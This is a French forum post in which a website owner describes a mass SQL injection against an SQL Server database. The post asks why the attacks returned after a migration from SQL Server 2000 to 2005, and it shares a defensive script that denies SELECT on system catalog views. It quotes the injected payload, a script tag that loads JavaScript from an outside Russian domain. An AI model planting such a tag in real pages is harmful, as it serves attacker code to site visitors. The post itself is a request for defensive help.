Problème d’injection
Bonjour,
Voila j’ai un gros souci avec sql serveur 2005 et un site web
J’avais mon site internet relié a une base de donnée sql 2000 qui avait été attaquer via une injection sql , de type je me retrouvais avec dans toutes les tables ce type de donnée :
« <scritp src=http://www.cg33.ru/script.js><script> »
Voila donc j’ai revu totalement mon code « colmater mes erreur de développement » et installer url scan j’ai ensuite sous les conseils d’une personne http://forums.iis.net/t/1148917.aspx
Lancer un script sur mon sql serveur 2000 voila le code :
use [Your_Database_name]
GO
DENY SELECT ON [sys].[columns] TO [Your_User]
DENY SELECT ON [sys].[tables] TO [Your_User]
DENY SELECT ON [sys].[syscolumns] TO [Your_User]
DENY SELECT ON [sys].[sysobjects] TO [Your_User]
DENY SELECT ON [sys].[objects] TO [Your_User]
DENY SELECT ON [sys].[syscomments] TO [Your_User]
GO
Avec tout sa plus d’attaque .
Je passe sous sql 2005 je repasse le script pour le deny select on le site ne bouge pas
Et voila que les attaques reviennent !!!!
je suis obliger de rester sur sql 2000
Merci de m’aider je ne sais plus quoi faire.
Partager